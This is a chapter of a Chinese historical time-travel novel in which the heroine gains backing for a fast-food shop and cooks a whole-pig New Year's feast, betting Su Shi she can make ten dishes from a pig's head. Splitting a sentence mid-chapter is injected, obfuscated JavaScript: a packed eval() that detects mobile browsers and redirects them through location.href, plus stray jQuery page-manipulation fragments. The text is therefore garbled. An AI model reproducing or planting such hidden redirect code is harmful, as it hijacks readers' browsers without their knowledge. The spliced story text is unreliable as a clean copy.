文老夫人早就料到王文茵会拒绝，柔声道：“好孩子，你受得起，这些不是给你的赏银，是我入股快餐店的本金。”


    “快餐店是小本买卖，即便是本金，也用不了这么许多。”王文茵从匣子里拿起一锭金元宝，“有这一个就足够了。”


    文老夫人却摆手，“我知你不是贪心之人，但诚如你所说，京城居不易，即便只是一家快餐店也需要租铺子，装潢，买家具，雇人工，采购物资等等开销。开店若是本金拮据，做事便容易束手束脚，我相信你的能力，也盼着你能将这家快餐店做大做好。”


    “老夫人……”王文茵说不出拒绝的话来，眼神不由自主看向文安世。虽然没有亲口承认，但从他多次有意无意的暗示中王文茵知道他一定已经知晓了自己的身世，只是不清楚他是否向文老夫人禀告过这件事。


    像是看懂了王文茵的暗示，文安世微微颔首，用眼神告诉她，文老夫人早已知晓她的身份来历。


    即便早有心理准备，王文茵还是感到困惑，祖父与文相公因政治上的分歧早已断了往来。虽则他们之间的恩怨随着祖父的仙逝也已烟消云散，可新帝即位后，太皇太后高氏以“以母改子”为号召，启用旧党，贬斥变法，罢黜新法，并由此引发了新旧两党之间的斗争。以致朝中官员除了苏轼外对他们王家的人唯恐避之不及，就连她自己的亲姑母也跟她们姐弟划清了界限。【注1】


    而文老夫人既已知晓她的身世，非但不避讳，反而暗中资助她，难道她不担心这样做会落人口实，给文相公带去麻烦吗？


    文老夫人见王文茵犹疑，似乎知道她在担心什么，便道：“小娘子无须过虑，老身支持你办这家快餐店不仅是因为这家店能盈利，更重要的是它能为在京城里讨生活的人提供一份可以养家糊口的工作，也能让更多百姓吃到价廉物美的快餐。”


    文老夫人如此深明大义，王文茵也不再坚持，向老夫人深深一福，“承蒙老夫人信任，奴家一定不负所托。只是这么多金子放在奴家身边实在不安全，可否先请老夫人代为保管，待有需时奴家再去向老夫人申请。”


    文老夫人颔首，“是老身思虑不周，你一个孤身小娘子，若是被人知晓身上携有大量金锭，势必会成为众矢之的，甚至危及生命。”她看向文安世，“不如这样，这些金锭便由七郎代老身保管，小娘子若是有需可从七郎这儿取用，如何？”


    王文茵同文安世不约而同应了声“好”。


    ****


    一路将王文茵送到山庄大门外，文安世的嘴角止不住上翘，一想到年后她便会来汴京，心情别提多好了。只是汴京城很大，他又不得不操起另一份心来。


    “小娘子可有打算在汴京城何处开这家快餐店？”


    “尚不清楚，得等过完年抽空前去汴京考察一番才知晓。”


    “你若来汴京我可以做向导。”


    王文茵诧异看他，“我以为你要去国子监上学？”


    “我可以请假。”


    “那倒不必，我自会找人带路。再则，耽误你念书，老夫人若是知道，我岂不是愧对她老人家的信任？”


    文安世了解她的性子，便也不再坚持，点头道：“即是如此，那我们便就此别过，等来年在京城再见？”


    王文茵微微一笑，道了声好，转身告辞离去。


    一直到她的背影再也看不见，文安世还保持着微微上翘的嘴角，目视她离去的方向。


    陈武忍不住啃啃两声，提醒他：“王小娘子都已经走远了，七郎不如也回屋吧？”


    文安世听得出陈武的话外音，不过他今日心情好，懒得跟他计较，笑眯眯捏了捏陈武的肩，答非所问：“看来过完年得将荒废已久的武艺重新拾起来了。”


    陈武何曾见过他家七郎如此这般诡异的笑容，吓得冷汗直冒，“七郎恕罪，小的再也不敢乱说话了。”


    文安世不明所以地笑了笑，转身大踏步进去了。


    留下一头雾水的陈武挠着头自言自语：“七郎这是中了什么邪？”


    ****


    除夕这日，王文茵起了个大早，带着周婆子、王大崔、王小郎君、穆叔，还有一早从朱仙镇赶回来的阿萍他们开始着手准备年夜饭。


    今日这年夜饭王文茵打算做一桌全猪宴犒劳大伙儿。


    猪可谓浑身都是宝，从头到脚，从里到外都能拿来做料理，单是一个猪头就能做十几道菜。


    “小娘子，这猪下水能做啥料理啊，不如拿去喂狗吧？”周婆子将猪的内脏一一取出，排列在案板上。她在前东家灶房里没见过猪下水，自然不清楚该怎么料理，甚至有些嫌弃这些上不得台面的“下水”。


    “猪下水可是好东西，料理好了保证让你吃得停不下来。”王文茵指着案板上的猪内脏细数每个部位的优点与吃法：“猪心富含维生素和蛋白质，可卤制可煲汤，凉拌手撕猪心也十分爽口；猪肝最适合补血，爆炒酱制都能去腥，菠菜猪肝汤乃补血佳品；猪腰子有补肾益气作用，炖汤或爆炒都很弹牙美味。【注1】


    猪肚就更好了，营养丰富不说，吃起来口感又十分脆爽，即可凉拌爆炒，亦可用来煲汤，猪肚鸡煲滋味鲜美，还能养胃；猪肺炖萝卜，冬日最佳鲜汤；猪大肠有嚼劲，卤制干煸爆炒各具风味，九转肥肠了解一下，吃过的都说好；猪小肠祛除杂质，留下一层坚韧半透明的肠衣，可用来做香肠或腊肠；还有这猪血，吃火锅子、做炒菜都少不了它，拿来做猪血肠，口感绵韧，鲜嫩爽滑，余味无穷。”【注1】


    周婆子都听傻眼了，咽了咽口水道：“乖乖，单这猪下水就能做出一桌子盛宴来啊，这只猪也算是物尽其用了。”


    王文茵摆手，“也不是所有部位都能吃，猪身上有三个部位是不能吃的。”


    “哪三个部位？”


    王文茵指着猪脖子上的肉给周


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140598|158756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    婆子看，“这是猪身上的粒子肉，里头有甲状腺，一旦吃多了便会中毒。”接着又翻出猪上腹淡黄色偏白的小疙瘩，道：“这是花子肉，也叫淋巴结，人吃了会得传染病。”最后指着肚子上的小腰子道：“这是猪的肾上腺，也叫小腰子，人吃了会头晕、腹泻，严重的还可能死亡。”【注1】


    周婆子拍拍胸口，“好险小娘子知道什么能吃，什么不能吃，换做旁人瞎吃一气，死了都不知自己是怎么死的。”


    “若只是少量误食，倒也问题不大，就怕有黑心商人昧着良心将这些不能食用的歹肉鱼目混珠当作好肉出售。”王文茵一脸严肃：“食品安全不容小觑！”


    “什么东西不能小觑呀？”苏轼笑声朗朗从外头进来，看到灶房内居然有一头猪，吃惊之余喜上眉梢，“居然有这么完整的一头猪！阿茵打算用它做什么美味？”


    王文茵上前同苏轼行礼，笑道：“苏大人这么早来，年夜饭还没准备好呢。”


    “无事，无事。”苏轼摆手道：“我是来偷师的，想看看阿茵如何料理今晚的年夜饭盛宴。”


    “苏大人，我们小娘子说今晚的年夜饭要做‘全猪宴’呢。”周婆子炫耀道。


    爱吃猪肉的苏轼抚掌大笑，“啊哈，我最爱食豚肉了，这‘全猪宴’可太对我胃口了，阿茵是打算将这一整只猪做成一道菜吗？”


    “非也，莫说这一整只猪，单是这只猪头便可料理出十几道菜肴呢。”王文茵抿嘴笑道。


    苏轼像是发现了新大陆一般，绕着猪头转了两圈，摇头道：“阿茵你可莫要说大话，一只猪头能做十几道菜，我不信！”


    这下可把王文茵的斗志给燃起来了，她捋起袖子，扎上围裙，激气道：“大人可愿意跟我打个赌？”


    “赌什么？”苏轼笑眯眯捋须。


    “若是我用这只猪头做出十道菜，大人可否答应我一个要求？”


    “你若真能用一只猪头做十道菜，我什么要求都能答应！”


    “一言既出！”


    “驷马难追！”


    王文茵二话不说，立马指挥周婆子、王大崔过来帮忙，先用火将猪头表面的毛发燎焦，刮除干净后沿着猪鼻中线用剁骨刀劈开成两瓣。随后让周婆子小心翼翼取出猪脑花，剔除猪头上的淋巴结后，再将两只猪耳朵和一条猪舌完整切割下来。【注1】


    接着将其中一瓣猪头上的脸肉分割，额头骨、脑骨剁成小块，除了另一瓣猪脸，其余猪头上的肉全部剔下来备用。随后将猪耳、猪舌、猪脸肉、猪脸皮连同额头骨、脑骨一起焯水，焯去血沫后洗净备用。【注1】


    不到一会儿功夫，一只猪头便被分割成了十来种不同的部分，整整齐齐码在案板台上。


    苏轼见状不由打量指挥若定的王文茵，啧啧称奇：“阿茵是从何处学来这庖丁解猪之术？”


    “我呀，”王文茵神秘兮兮道：“是从太虚幻境中学来的。”